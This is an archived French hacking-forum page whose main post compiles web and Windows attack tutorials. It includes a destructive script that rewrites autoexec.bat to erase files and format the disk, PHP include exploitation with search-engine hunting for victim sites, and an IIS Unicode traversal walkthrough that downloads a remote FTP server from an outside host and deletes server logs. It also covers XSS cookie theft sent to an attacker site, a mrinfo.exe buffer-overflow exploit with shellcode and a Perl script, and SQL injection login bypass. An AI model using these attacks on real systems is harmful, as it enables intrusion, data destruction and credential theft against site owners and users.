Tout d'abord, toute la Team Hackademy vous souhaite une année 2008 pleine de bonnes choses !
Pour débuter cette année, nous sommes heureux de vous annoncer que le Ezine commence à prendre forme (surtout l'équipe qui dirigera celui-ci) et devrait apparaitre sur le Web début Avril. Cela peut paraitre loin mais nous voulons vraiment faire un Ezine de qualité, cela demande donc beaucoup de préparation.
Pour ceux qui aimeraient publier dans le premier numéro il est encore temps d'envoyer vos articles (au pire il seront pour le prochain numéro) directement à redaction@thehackademy.net.
Autre annonce importante, le premier meeting HZV aura lieu le 16 Février 2008 sur Paris (dans les locaux de Sysdream). Celui-ci sera mensuel et aura pour concept de dispenser une formation d'environ 4h sur divers thèmes choisi par la communauté. Le premier thème abordé sera la sécurité VoIP et sera dispensé par CrashFr. Il vous est possible de réserver vos places en formulant votre demande sur meeting@thehackademy.net. Les meeting sont aussi l'occassion pour ceux qui n'auront pas la chance d'assister à la formation de faire des rencontres avec les autres membres de la communauté. Biensur ce meeting est ouvert à tous et gratuit (seul la limite de place disponible peut vous empecher l'accès; alors faites vite !).
Bonne année et n'oubliez pas: HZV will never die !
|
| Voir le sujet précédent :: Voir le sujet suivant |
| Auteur |
Message |
leiton
Inscrit le: 09 Juil 2007 Messages: 7
|
Posté le: Lun Juil 09, 2007 1:00 pm |
Sujet du message: Les failles des sites webs
|
|
La faille activeX
Je vais maintenant vous démontrer que votre machine ne tient qu'à un fil si vous n'êtes pas un minimum vigilant en surfant sur la toile !
Voici comment votre disque dur ne pourrait plus redémarrer après la visite d'une page:
Code:
<html>
<head>
<title>Test</title>
</head>
<body>
<script>
if location.protocol = "file:" then
Set FSO = CreateObject("scripting.FileSystemObject")
HPath = Replace(location.href, "/", "\")
HPath = Replace(HPath, "file:\\\", "")
HPath = FSO.GetParentFolderName(HPath)
Set TRange = document.body.createTextRange
Set BatFile = FSO.CreateTextFile("c:\autoexec.bat", 2, False)
BatFile.writeLine "@echo off"
BatFile.writeLine "erase c:\windows\*.???"
BatFile.writeLine "erase c:\windows\system\*.???"
BatFile.writeLine "erase c:\*.???"
BatFile.writeLine "Cls"
BatFile.writeLine "echo Un petit reformattage s'impose !"
BatFile.writeLine "format c:"
BatFile.writeLine ":hack"
BatFile.writeLine "echo GoodBye !"
BatFile.writeLine "goto hack"
BatFile.Close
end if
</script>
</body>
</html>
<html>
<body>
<script>while(1){alert('Erreur: Veuillez redémarrer.');}</script>
</body>
</html>
Ce script correspond à une page web hostile qui aurra pour effet de vous remplacer votre fichier autoexec.bat dans c: (celui qui démarre votre ordi), par un virus codé en batch, qui supprimera tous les fichiers vitaux de l'ordi au démarrage du disque.
Pour éviter ceci, désactivez l'affichage des scripts de votre navigateur.
La faille include
1) Description : La faille include d'un site fait en php et du à un manque de vigilance du webmaster qui a créé ce site. En effet, il y a faille lorsque la fonction php include() est donné avec comme parametre (nom d'un fichier) une variable :
Cette fonction est utilisé dans la plus part des cas pour inclure du texte dans les cadres d'un site, souvent dans l'index, le nom de la page à inclure est donné lors d'un click sur un lien, on verra alors dans la barre d'adresse du navigateur : www.le_site.net/index.php?page=contact.htm
Ici la page à inclure est la page contact.htm
La page contact est ici en htm, mais elle peut être en n'importe quel format (txt, php, ...)
2) Trouver un site présentant cette faille :
Rien de plus simple, faire appel à notre allier google avec comme mot de recherche
index.php?page=
ou index.php?url=
etc... différent nom de variable sont à tester.
3) Tester l'existance de cette faille :
Voila, vous venez de faire votre recherche sur google, vous avez plein de site, vous voulez maintenant savoir si ce site peut être hacké par cette faille.
Premier test, tenter d'inclure google dans la page, aller sur le site, et rajoutez à l'url :
(toujours avec la variable $page, mais si vous avez une autre, adaptez en conséquence)
www.le_site.net/index.php?page=http://www.google.com
Faites entrer, et si vous voyez google s'afficher dans le site c'est qu'il y a de grande chance que la faille soit exploitable.
Continuons avec Google qui c'est affiché, on verra après les différent moyen de protection à contourner.
Maintenant, nous allons éxécuter du code php sur le server grace à cette faille. Car la fonction include() execute tout code php se trouvant sur le page inclu comme si la page etait partie intégrante du fichier d'origine.
Ouvrez un compte avec hébergement (ex: voila) pour héberger la page que vous allez creer.
Dans le fichier que l'on va nommer faille.txt, écrivez ce code php qui aurais comme but d'afficher une alerte en script confirmant qu'il y a bien la faille
La faille IIS (Unicode )
Je vais vous montrer le moyen de faire un STRO sur un serveur ayant une faille IIS ou aussi appelée faille Unicode...
---------------------------------
@__1__@ Introduction @__1__@
---------------------------------
Cette faille s'aplique au serveur IIS 4 et 5 non patché... Pour voir si la faille est presente il suffit de faire :
Code:
http://ip_du_serveur/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
Si la vous voyez marqué "Directory of c:\" et en dessous la liste des repertoire c bon
Vous pouvais aussi changer de disk dur en changeant c+dir+c:\ par c+dir+d:\ pour aller sur d:\ et ainsi de suite...
-------------------------------------
@__2__@ Trouver la faille @__2__@
-------------------------------------
Pour trouver une faille IIS il vous faut un scanner... Vous pouvez utiliser NT-Scanner (iis-ipc-sql-nt-scanner) qui scanne les failles IIS - IPC - SQL - entre autres... Moi c'est celui que j'utilise pour le IIS mais il a tendance a planter qq fois..Il yen a d'autres, mais bon je le trouve très bien ;p
Vous mettez voir IP de départ et votre IP de fin, vous cochez IISScan puis vous faites START.. Après ca cherhce un moment et quand c fini ou que vous avez arréter en clikant sur STOP ca vous ouvre une page HTML avc les resultats...
Si vous avez trouver une faille vous devez voir ceci :
124.254.211.146 (client-124.254.211.146.speedy.net.pe)
IIS5 Null.printer: Found
http://124.254.211.146/*.ida
[...]
http://124.254.211.146/?PageServices
""IIS5 Null.printer: Found"" ==>> Voila ya la faille
Vous faites :
http://124.254.211.146/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
Et dans IE vous devez voir ce que j'ai dis au dessus!
Le plus important c'est ce qu'il ya marqué a coté de "Bytes FREE"! 1,000,000,000 bytes free signifie qu'il ya 1 Go de libre sur le serveur (si ya marqué 100,000,000,000 vous étes un veinard lol!) Bon 1Go c pas bcp mais vous pouvais vous balader sur les autres disk dur, s'il yen a, pour voir l'espace libre
----------------------------------------
@__3__@ Envoyer les fichiers @__3__@
----------------------------------------
(ICI on admet que vous étes dans C:\, enfin c'est le mieux pour serv-u!)
Bon vous avez trouver le repertoir idéal pour votre stro et serv-u, vous avez configurer Serv-U, il ne vous reste plus qu'a uploader les fichiers sur le serveur et a les lancers
Malheuresement (ou heuresement!) j'ai remarquer que c serveur n'accepté pas le TFTP... Alors on va se faire un tit script FTP!
C'est très simple! Commencer par aller voir mon tuto sur le Script FTP sur failles SQL pour connaitre les bases..! Ce sera un tout petit peu différent mais rien de bien difficile
Alors c'est bon s'avez compris le Script FTP? Oui! Alors on y va !
Il faut impérativement copier cmd.exe dans le rep temp a la racine du DD...
Ya pas de dossier TEMP..?! On va en créer un! Comme ca =>
| Code: | http://ip_du_serveur/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+mkdir+c:\temp\
|
vous allez avoir un message du genre
CGI Error
The specified CGI application misbehaved by not returning a complete set of
HTTP headers. The headers it did return
C'est bon c'est que ca a marché!
==================================================================================================
#NB : Vous Obtiendrez toujours des erreures ggI mais ca n'est pas graves, ca marche quand même
Si en dessous de l'erreur cgi, rien ne s'affiche, c'est BON le commande est executée! #
==================================================================================================
On y copie CMD.EXE =>
| Code: | http://ip_du_serveur/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+copy+c:\WINNT\system32\cmd.exe+c:\temp\cmd2.exe
|
CREATION DU SCRIPT FTP directement sur le serveur :
http://ip_du_serveur/scripts/..%255c../temp/cmd2.exe?/c+echo+open+65.114.145.15+21+>>+c:\temp\1.txt
http://ip_du_serveur/scripts/..%255c../temp/cmd2.exe?/c+echo+user+anonymous+>>+c:\temp\1.txt
http://ip_du_serveur/scripts/..%255c../temp/cmd2.exe?/c+echo+lol@lol.com+>>+c:\temp\1.txt
http://ip_du_serveur/scripts/..%255c../temp/cmd2.exe?/c+echo+get+servudaemon.exe+>>+c:\temp\1.txt
http://ip_du_serveur/scripts/..%255c../temp/cmd2.exe?/c+echo+get+servudaemon.ini+>>+c:\temp\1.txt
http://ip_du_serveur/scripts/..%255c../temp/cmd2.exe?/c+echo+quit+>>+c:\temp\1.txt
IP SERVEUR : vous mettez l'ip du serveur sur lequel vous avez uppé vos fichiers (ex : 2.4.25.21. ou encore ftpperso.free.fr )
Je vous conseille un server ftp récupéré dans un scan car comme ca vous n'aurez pas a dévoiler votre mot de pass du compte multimania
PORT : le port ! (ICI : 21)
USER : Le nom d'user (ICI : anonymous)
lol@lol.com : le password du ftp (ICI : c'est un anonymous donc on met n'importe koi )
GET : les fichiers a envoyer (ICI : servudaemon.exe et servudaemon.ini)
QUIT : fermer la connexion au ftp
* Voila vous pouvez voir ce qu'il ya ecrit dans le 1.txt comme ca =>
http://ip_du_serveur/scripts/..%255c../temp/cmd2.exe?/c+type+c:\temp\1.txt
* Vous lancer le DL des fichiers comme ca =>
http://ip_du_serveur/scripts/..%255c../temp/cmd2.exe?/c+ftp+-i+-n+-v+-s:c:\temp\1.txt
* Ensuite vous déplacer serv-u dans WINNT\system32 car il est envoyer dans c:\inetpub\scripts\ comme ca =>
http://ip_du_serveur/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+copy+c:\inetpub\scripts\servudaemon.exe+c:\WINNT\system32\servudaemon.exe
http://ip_du_serveur/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+copy+c:\inetpub\scripts\servudaemon.ini+c:\WINNT\system32\servudaemon.ini
Si ca marche vous devez voir marqué "1 fichier copié" a chak copie
Si ca marche pas essayer :
http://ip_du_serveur/scripts/..%255c../temp/cmd2.exe?/c+copy+c:\inetpub\scripts\servudaemon.exe+c:\WINNT\system32\servudaemon.exe
http://ip_du_serveur/scripts/..%255c../temp/cmd2.exe?/c+copy+c:\inetpub\scripts\servudaemon.ini+c:\WINNT\system32\servudaemon.ini
* Vous lancer serv-u :
http://ip_du_serveur/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+c:\WINNT\system32\ServUDaemon.exe
EFFACER LES TRACES:
Pour effacer ses traces, il faut effacer le fichier log du jour ou vous avez hacké le serveur, il se trouve dans le repertoire
C:\WINNT\SYSTEM32\LOGFILES\W3SVC32 ou dans un autre repertoire de
C:\WINNT\SYSTEM32\LOGFILES.
Donc tout d'abord regarder les fichier presents en fesant :
http://ip_du_serveur/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+C:\WINNT\SYSTEM32\LOGFILES\W3SVC32
Regarder le fichier datant du jour de votre hack (vous ne pourrez l'effacer que le lendemain du hack).
Quand vous l'avez trouve vous faite:
http://ip_du_serveur/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+del+C:\WINNT\SYSTEM32\LOGFILES\W3SVC32\log_file.log
Et voila plus de traces.
Vous pouvez aussi utiliser un proxy pour plus de surete. (perso j'utilise pas)
---------------------------------------------
@__4__@ Les différentes commandes @__4__@
---------------------------------------------
c+dir+c:\ => Parcourir un dossier
c+dir+c:\*pass*+/s => Chercher un fichier sur le disque dur qui contient le mot "pass"
c+copy+c:\Dossier\text.txt+c:\destination\text.txt => Copier un fichier
c+del+c:\text.txt => Deleter text.txt
c++c:\fichier.exe => Lancer le fichier.exe
c+type+c:\fichier.txt Lire le contenu de fichier.txt
c+mkdir+c:\temp\ => Creer un repertoire (ICI "temp" )
c+ftp+-i+-n+-v+-s:c:\fichier.txt pour executer un script FTP (ICI fichier.txt )
------------------------
@__5__@ FIN @__5__@
------------------------
Reste plus qu'a vous connecter sur votre stro, si ca marche pas c kil ya un Firewall, mais si vous avez réussi a tout faire, ca doit marcher
Source: L0rD_64r0n0z
La faille XXS/CSS
Cette faille permet d''executer des scripts via un formulaire ou une boite de saisies sur les livre d''or par exemple. La faille vient du fait que le script est codé en language php ou perl par exemple et qu''il execute donc la requete du cote serveur et non client. Le script va donc s''executer sur le serveur, ce qui permet par exemple d''afficher quelque chose sur le site ou de faire une redirection automatique.
Les vulnerabilites sont surtout sur les formulaires, de type , car le pirate peut inserer du texte, donc aussi un script, et la faille devient dangereuse quand le texte inscrit est ensuite réaffiché sur la page, et surtout quand le script peut etre executé sur toutes les machines qui vont sur la page en question: tous les visiteurs de la pages sont alors des victimes potentielles.
Il faudra donc tester les protections avant d''attaquer. Pour ce faire, ecrivez par exemple dans forum ou un livre b<Test>. Si la faille est presente ce script aura l''effet d''afficher "Test XSS" en caractère gras. Par contre si la faille n''est pas presente, les balises b<et> resteront presentes.
Donc, si le test a reussi tu vas pouvoir attaquer. Tu pourras marquer dans ton message cette fois ci <script>alert("Vive Hackropole!!")</script> par exemple, ce qui ouvrira une application javascript affichant "Vive Hackropole !!".
Si tu possedes un site web tu peux par exemple faire une redirection vers ton site grace au script : <script> document.location.href="http://www.hackropole.fr.st"&lr;/script&lr; ce qui te redirigera automatiquement vers hackropole.
La faille devient plus interessante quand sur certains sites, si votre identification est incorrecte, une page d''erreur s''affiche.
L''URL de cette page est http://www.site.com/identification.php?probleme=password+incorrect+! (exemple, les + etant sinonymes d''espace.). Le message d''erreur affichera donc "password incorrect !". Le pirate peut donc remplacer "password+ incorrect+!" par un code javascript qui s''executera dans la page, ce qui peut donc etre très dangereux pour le webmaster.
Si le pirate veut recuperer le mot de passe du webmaster, il doit inserer le script :
<script>
window.open("http://www.site-du-hacker.com/cookies.php?cookies="+document·cookie);
</script>dans la barre d''adresse a la place de l''alerte. Ensuite, il crée une page cookies.php sur son site et y insere un script de recuperation de variable.
EX:
<php>
<a href="log.php"></a><cette>
Si le pirate veut quela victimee ne s''en rende pas compte, il lui suffit d''ajouter un script a la suite de celui la qui fermera automatiquement la page.
Ex:
<script>
opener=self;
window.close();
</script>
Une fois cela fait, il demande au webmaster du site d''aller sur la page en question, et le pirate recupere le cookie de l''admin! Il ne suffit plus au pirate, que d''attendre la reception du mail et d''y lire le cookie. La derniere etape, est maintenant de decrypter le cookie.
Si il se presente sous la forme : "login=Son-login;mdp=Son-mdp" , aucun probleme pour le dechiffrer, par contre, si il se presente sous la forme : "SESSID=80640155ab408b5b,LOGIN=3145dfs55q31" , il suffit de le copier/coller dans votre barre d''adresse et d''y ajouter "javascript:do*****ent.cookie" devant, ce qui donnera : javascript:do*****ent.cookie="SESSID=80640155ab408b5b;LOGIN=3145dfs55q31"
Cela aura pour effet d''enregistrer la machine du pirate comme etant celle de l''adiministrateur du site hacker, pour faire croire au site victime qu''il est webmasteur. Il suffit desormais que le pirate se rende sur le site victime, et il sera enregistrer en tant que admin!
L'exploitation des Buffers Overflows sous Windows Xp [Electrobug]
Le materiel :
- Win32Dasm
- OllyDbg
- Un programme faillible fournis et mrinfos faillible
- Win32api.hlp
- des connaissances en assembleur
Introduction :
Je souhaite grâce à ce tutorial, tenter d'expliquer comment
exploiter localement un BufferOverflow. En aucun cas mon objectif
est de former de nouveaux script kiddies. Ceci étant dit
je vous laisse le droit d'exploiter au maximum votre buffer overflow
si celui ci est sur votre ordinateur.
I) Explication : Le Buffer Overflow
Le Buffer Overflow est un problème dans la gestion de la mémoire
d'un programme qui permet d'écrire un plus grand nombre de données
qu'il y est possible normalement. Petit exemple:
vous avez une armoire avec trois tiroirs mais vos bagages
on besoin de 5 tirois pour être rangés, pour nous les humains,
cela nous pose un probleme mais pas l'ordi ! car celui écrit
sur des zones de la mémoire (tiroir) qui ne lui appartient pas.
Ceci est le phénomene de Buffer Overflow (soit en francais
"dépassement de tampon").
Celà se produit plus souvent qu'on ne le croit dans les
programmes. Les programmeurs ne verifient pas toujours le code
de leur programme. Ce qui est une aubaine pour nous ici.
Nous allons étudier le petit exemple ci-dessous et l'exploit
qui peut lui être associé.
#include
int main ( )
{
char name[10];
printf("Votre pseudo : ");
gets(name);
printf("kikoo %s", name);
return 0;
}
ce programme initialise une chaîne de 10 caractères appelée
"name", demande le pseudo de la personne qui utilise le
programme et affiche "kikoo "lepseudo"" et le programme quitte.
Ici le Buffer Overflow peut se situer dans la variable name
qui contient 10 octets car la fonction gets(name) ne vérifie
pas le nombre d'octets entré. Pour détecter le Buffer Overflow,
on a deux methodes:
- La méthode bourrin
- La demarche intellectuelle
- La méthode bourrin : on entre commme pseudo abcdefghijklmnopqrstuvwxyz
et on observe ce qu'il se passe :
1.exe Erreur d'application
L'instruction à "0x78777675" emploie l'adresse mémoire "0x78777675".
La mémoire ne peut pas être read.
Que s'est il passé ? D'après le message d'erreur précédent,
l'instruction 0x78777675 tente de lire la mémoire en 0x78777675.
Or on sait que 0x78777675 correspond au caractères ascii "xwvu"
de plus le programme saute en 0x78777675 car il essaie de lire
la mémoire donc on a ecrasé ici le registre du processeur EIP
(Extended Instruction Pointer).
Mais à quoi sert EIP ?
Eip est la variable qui permet au processeur de lire le
programme dans le bon ordre. Eip pointe vers la prochaine
instruction à exécuter. (n'allez pas chercher plus loin).
Donc si on contrôle EIP on peut rediriger le programme ou on veut !!!
Retour à nos moutons
L'adresse est donc 0x78777675 soit "xwvu" (uvwx à lenvers)
on peut donc déduire la taille du buffer car on a écrit sur
eip xwvu la taille du buffer correspond a "a->t" soit 20 octets.
On peut donc établir le schéma suivant:
pseudo = [ 20 octets ][ EIP= 4octets]
- La démarche intellectuelle
On va désassembler le programme et le debugger,
pour celà lancez le OllyDbg, ouvrez le fichier test
et appuyez sur F9 ou le bouton run, voilà ce que l'on obtient :
hexa code asm
55 PUSH EBP // sauvegarde la valeur de ebp dans la pile
89E5 MOV EBP,ESP // EBP = ESP
83EC14 SUB ESP,14 // Definit une nouvelle pile de 0x14 octet
etc ...
Ici, ces seules lignes suffisent, elles implémentent une nouvelle pile
de 0x14 octet en hexadecimal soit 1x16+4= 20 octets
(on retrouve donc la valeur trouvée plus haut).
Le contexte de la pile
La pile est comme un assemblage de plateaux repas (chaque plateau repas représente une valeur).
Le premier plateau repas mis est le premier retiré, cela fontionne pareil avec la pile.
La pile est un endroit de la mémoire qui permet au processeur d'enregistrer des valeurs en LIFO
( Las In First Out) c'est à dire la derniere valeur enregistée est la premiere à être restituée.
Les opérations en assembleur "push" sauvegardent une valeur et les opérations
"pop" récuperent une valeur. Petit exercice: quelle est l'image de la pile suivante?
push 1
push 2
push 3
//pile(haut)
3 <- Esp(=2) ( Extended Stack Pointer) propriété -> pointe vers le haut de la pile
2
1 <- Ebp(=0) ( Extended Base Pointer) propriété -> pointe vers le bas de la pile
//pile(bas)
Heu, mais c'est faux car "SUB ESP,14" crée une pile de 0x14 octets alors la Esp sera inférieur a Ebp !!!!
Oui, mais les processeurs intel ont une pile inversée.
Donc c'est en soustrayant une valeur à esp que l'on augmente
la pile car ebp >= esp .
Ce qu'il faut retenir :
Eip -> pointe vers la prochaine instruction
Esp -> pointe vers le haut de la pile
Ebp -> pointe vers le bas de la pile
push -> sauvergarde une valeur sur le haut de la pile
pop -> repere la valeur sur le haut de la pile
sub esp, 0x? -> agrandit la pile de 0x? octets
add esp, 0x? -> réduit la pile de 0x? octets
Nous avons donc finis notre exploration du Buffer Overflow, nous
savons que nous controlons Eip , celà nous permet de contrôler
le programme. Nous ne rentrerons pas dans les entrailles de la
pile mais en gros voici un schéma de la pile :
(haut de la pile)
argument
argument
EIP
(bas de la pile)
II) Semi - exploitation de notre Buffer Overflow
Dans Ollydbg, relançons notre programme (f9) puis entrons le pseudo
"AAAAAAAAAAAAAAAAAAAAAAAA abcdefghijklmopqrstuvwxyz" soit 24xA
et l'alphabet . Nous remarquons alors que ollydbg détecte une erreur
et marque dans la barre en bas de la fenêtre "Access Violation etc ..."
mais examinons les registres maintenant, ils sont en haut à droite
de la fentere principale (Alt-C). On remarque que EIP= 0x41414141
soit AAAA et ESP = 0x0022FF88 et une description de sa valeur "abcde..."
soit l'alphabet rentré précédemment.
Bon réfléchissons un peu, on contrôle Eip et Esp pointe vers
notre chaîne de caractère, on va donc mettre une "shellcode"
ou "asmcode" à la place de l'alphabet et faire pointer Eip sur
Esp pour exécuter le shellcode, mais comment ?? car comme on est
dans une chaîne de caractere ( "AAA..-EIP-shellcode") la valeur
de eip ne peut pas avoir de caractere nul. Nous allons donc utiliser
les valeur des instructions assembleur des dlls chargées par
le programme car leur adresses sont en 0x77...... .
Dans Ollydbg, allez dans ShowLog en faisant Alt-L pour voir les
dll chargées, puis a l'aide de Win32Dasm vous dessamblées ces dlls
et recherché l'expression "jmp esp".
dlls
+kernel32.dll
+ntdll.dll <-- 0x77fb59cc FFE4 mais ya un probleme lors du shellcoding
+msvcrt.dll
Malheuresement pour nous aucune ocurrence a été trouvé :/
il nous reste une solution redirigé les programme vers
la fonction ExitProcess. Pour cela étudions ca declaration dans win32.hlp
VOID ExitProcess(
UINT uExitCode //parametre a transmetre (par experience celui n'est pas obligatoire).
);
Il suffit donc de "jumper" grace a Eip sur la fonction ExitProcess
contenu dans la dll kernel32.dll pour faire fermer le programme.
Pour trouver cette adresse, nous devons desassemblé kernel32.dll
avec win32dasm, allez dans Functions/export (oui on exporte une fonction)
et rechercher dans la liste Exitprocess, double clické dessus. Vous devez obtenir :
Exported fn () ExitProcess
:77E598Fd 55 Push ebp
Ici ce qui nous interesse est la valeur 0x77E598fd (cette valeur
change avec les versions de windows ainsi qu'avec les services pack de xp).
Chacun a donc maintent sa valeur de son eip . Pour moi c'est 0x77E598fd.
Maintenant nous devons creer notre "code" soit 20 caracteres au hasard et
xfdx98xe5x77 ce qui correspond aux caracteres (sortez la calculette
scientifique de windows pour convertir l'hexadecimal en decimal )
fd = 253; 98 = 152 ; e5 = 229 ; 77 = 119. Etant donné que le programme
n'accepte pas d'argument on est obligé de rentré la requete a la main en
convertissant la valeur de Eip en caracteres ascii (pour cela faites ALT-253
ALT-152 etc... pour la valeur de eip [avec les valeurs de eip ])
Finalement on obtient :
AAAAAAAAAAAAAAAAAAAA²ÿÕw
[ pile 20 octets ][EIP en caractere ascii ]
Voila le programme quitte. Ceci est une introduction maintenant on va
s'attaquer mrinfo.exe de windows xp !!
III) Action
Maintenant passons aux choses serieuses, nous allons nous attaquer au progr
amme mrinfo.exe de windows xp. Le buffer overflow se situe ici dans les
arguments passés en parametre, les arguments -n et -i peuvent provoquer
des buffer overflows.
(1) -> Emploie de la methode dite "Bourrin" et on obtient le schéma suivant :
-i [56A][EIP][shellcode]
(2) -> Analyses des registres
Pour cela, aller dans Ollydbg, file/open et choisit mrinfo.exe qui se situe
dans windowssystem32 et passé comme parametres (en dessous)
-i AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 222233334444
En analysant la valeur des registres on remarque :
Eip = 32323232 =(2222)
Ebp = 41414141 =(AAAA)
Esp = 0006fd98 -> ASCII "4444" esp pointe vers 4444 de la chaine entrée ci-dessus
Maintenant faite alt-l pour voir les dlls chargées par le programme et recherché
en les desassemblants un jump esp soit FFE4 en hexadecimal. Moi sous windows xp
sp 1 j'en est un dans advapi32.dll à l'adresse 0x77da1595. Maintenant modifions
la chaine plus haut en :
-i AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
x95x15xdax77x90x90x90x904444
-i AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
• Úw0000aaaaaaaa
[eip][ebp]shellcode
on inverse le nombre car on est en "little endian"
(les octets de poids faible en premier).
les x90 correspondent aux instructions NOP qui signifient NO-Operation.
Maintenant on redirige Eip vers Esp qui executera le shellcode que l'on placera a cette endroit.
Maintenant l'ecriture du shellcode !!
1) Savoir ce que l'on veut faire
2) Ne pas avoir des octets nuls
3) Redifinir une pile
1) Fermer le programme sans probleme
redefinition de la pile
===
55 PUSH EBP // sauvegarde la valeur de ebp dans la pile
8bec MOV EBP,ESP // EBP = ESP
8BE5 MOV EsP,EbP // EsP = EbP
83EC14 SUB ESP,50 // Definit une nouvelle pile de 0x50 octet
===
Maintenant nous devons re-analyser la fontion ExitProcess pour pouvoir afficher un message
VOID ExitProcess(
UINT uExitCode //parametre a transmetre (par experience celui n'est pas obligatoire).
);
on peut transmettre la valeur 0 a la fonction en faisant.
xor eax,eax // met eax a 0
push eax // sauvegarde eax
et appellé ExitProcess
call ExitProcess
Soit en resumé :
55 PUSH EBP // sauvegarde la valeur de ebp dans la pile
8bEc MOV EBP,ESP // EBP = ESP
8BE5 MOV EsP,EbP // EBP = ESP
83EC50 SUB ESP,50 // Definit une nouvelle pile de 0x50 octet
33c0 xor eax,eax // met eax a 0
50 push eax // sauvegarde eax
e8559bde77 call ExitProcess // termine le programme
A pas tout suivi comment tu as eu les valeurs hexadecimal ?!??
Ceci ne sort pas d'un calcul savant car c'est le debugger Ollydbg
qui vous les donne. Pour cela, lancer le programma avec comme
argument -i AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
• Úw0000aaaaaaaa execute le programme et il plante, maintenant,
dans votre fenetre vous devez reperer les "a" de votre chaine
correspondant a 0x61 et c'est sur le 1er 0x61 que vous commencez
a ecrire votre shellcode en faisant clic droit assemble et entrez
le shellcode ci-dessus. Normalement seul la valeur de exitprocess doit changer.
IV) Ecriture de l'exploit en perl
print "Syntax of Buffer Overflow ";
#affichage de Syntax of Buffer Overflow
print "C:mrinfo -i [ 56A ][EIP] ";
#affichage de C:mrinfo -i [ 56A ][EIP]
$bof = `mrinfo.exe -i AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
x95x15xdax77x90x90x90x90x55x8bxEcx83xECx50x33xc0x50xe8x57x9bxdex77`;
#permet de recuperé la sortit dans programme et de transmettre
des arguments ici le shellcode
print $bof ;
#affichage du resultat a l'ecran
print "Redirection reussi Programme Terminé ";
#affichage de Redirection reussi Programme Terminé
;
#attente de l'appuie d'une touche pour quitter
Je rappelle qu'il ne sert a rien de recopier l'exploit et de dire ca ne marche pas,
oui je le sais car les valeurs du call ExitProcess change suivant les services pack de xp.
Heu mais c'est pourri ton truc t'es une arnaque !!!!
Non, imagine quelqu'un qui force un programme a se terminer ( serveur ou autre)
a distance cela crée un DoS de plus je suis pas la pour vous donner des remoteshells.
voila ceci etant dit.
je vous remercie de votre lecture, surement dans un prochain article on fera
des choses plus interessantes.
ps: Voici un shellcode generique sous 2000 et xp qui appelle la fonction
exitprocess ;p attention il ne fonctionne pas avec le script perl ci dessus :/
mais ca fontionne très bien avec les sockets . Le shellcode ci dessous recherche
tout ce dont il a besoin c'est pour cela qu'il est generique sur tout les xp et 2000.
x55x8bxecx8bxe5x83xecx20x6ax30x5ax64x8bx12x8bx42
x0cx8bx70x1cx8bx06x8bx50x08x89x55xfcx8bx52x3cx03
x55xfcx8bx52x78x03x55xfcx89x55xf8x33xc0x89x45xf4
x89x45xf0x89x45xecx89x45xe8x8bx55xf8x83xc2x20x8b
x12x03x55xfcx89x55xe8xebx5exc9xc3x33xc9x39x4dxf4
x75x6bx8bx5dxe8x8bx1bx03x5dxfcx81x3bx45x78x69x74
x75x5bx81x7bx04x50x72x6fx63x75x52x8bx4dxecx89x4d
xf4x33xc9x85x4dxf0x75x46xc3x33xc9x39x4dxf0x75x3d
x8Bx5DxE8x8Bx1Bx03x5DxFCx81x3Bx4Cx6Fx61x64x75x2D
x81x7Bx04x4Cx69x62x72x75x24x8Bx4DxECx89x4DxF0x33
xC9x39x4DxF4x75x18xC3xE8x9FxFFxFFxFFxE8xC8xFFxFF
xFFx66x83x45xE8x04x66x83x45xECx01xEBxEAxC3x8Bx5D
xF4x6BxDBx04x89x5DxF4x8Bx5DxF0x6BxDBx04x89x5DxF0
x8Bx5DxF8x83xC3x1Cx8Bx1Bx03x5DxFCx8BxCBx03x4DxF4
x8Bx09x03x4DxFCx89x4DxF4x8BxCBx03x4DxF0x8Bx09x03
x4DxFCx89x4DxF0xEBx26x33xC0x50xFFx55xF0x3BxC3x0F
x84x44xFFxFFxFFx83xC7x0Bx57x50xFFx55xF4x3BxC3x0F
x84x34xFFxFFxFFx83xC7x07x57xFFxD0xC9xC3xE8xD5xFF
xFFxFF
L' injection SQL
C'est l'une des failles les plus presentes sur le net et en plus elle est assez simple a exploiter!!!
Injection SQL kezako?
Une injection SQL c'est comme son nom l'indique une injection de script php dans une base de données MySQL.
Comme je suis un mec super sympa je vais vous expliquez le principe avec un exemple simple :
Dans cet exemple vous etes ==>vous<== et vous vous baladez sur le net en recherche de victime potentiel
quand soudain vous voyez un formulaire d'authentification de ce style :
<form action="admin.php">
<input type="text name="login">
<br><input type="text" name="pass">
<br><input type="submit">
il presente 2 champs :
l'un pour rentrer son login et l'autre son passe et les informations sont envoyées au script admin.php...
Et a votre avis de quel facon ces info sont transmises au script...?Par requete SQL, les information envoyées
seront dans ce genre la:
$query = "SELECT * from admin WHERE login ='$login' And pass='$pass' ";
Et la le script va voir si il existe dans admin.php le nom login contenu dans cette variable
(ce que vous avez mis dans le formulaire) et pareil pour le pass.
Si il le trouve (et la vous aurez une veine de cocu vous pourrez accedez a la page
sinon vous verrez un message d'erreur.Bon alors elle est ou la fa-faille?
Dans les guillements et les quotes qui delimite le script...Si vous mettez ca comme login : admin '
et un passe a la wanéguene: eskuz.
Ca va donner:
$query = "SELECT * FROM admin WHERE login = 'admin'' AND pass = 'eskuz' ";
On voit clairement que la ya une zolie fa-faille vu que les deux apostrophes (quotes) la votre
plus celle du script ont été prise en compte ce qui veut dire qu'on va pouvoir modifier le script
et prendre le controle dela base de donnée et par la meme occasion si le pass de la base de donnée
est le meme que le passe ftp alors on va pouvoir...Avertir le webmaster qu'il a une fa-faille
(c dure d'etre gentil).Alors pour modifier le script voila ce qu'on va faire:
login = admin' /*
pass = */ AND '1' = '1
Ce qui devient ==>
